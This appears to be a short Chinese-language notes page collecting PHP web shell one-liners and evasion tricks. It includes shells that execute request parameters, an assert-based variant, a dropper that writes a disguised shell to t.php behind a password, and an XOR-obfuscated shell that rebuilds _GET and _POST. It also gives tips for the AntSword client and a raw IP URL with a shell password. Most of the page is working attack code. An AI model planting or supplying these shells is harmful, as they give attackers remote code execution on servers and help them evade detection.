首页 笔记

1、

<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>

eval是一个语言构造器而不是一个函数,不能被可变函数调用

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?>

AntSword 连接的问题。 php assert 会把传入的字符串的引号进行一次实体编码,导致执行代码失败。这时候只需要把编码器换成 base64 或者 chr 这种没有引号的编码器就可以了

<?php if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");@fclose($_);}?>

PHP中字符异或后还是字符,我们只需要找到两个字符,他们的异或结果是我们所需要的字母即可
http://219.153.49.228:40282/b.php?0=assert密码为1

<?php 
@$_++;  //得到1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");  //得到_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");  //得到_POST
${$__}[!$_](${$___}[$_]);  
?>


文章评论

评论已关闭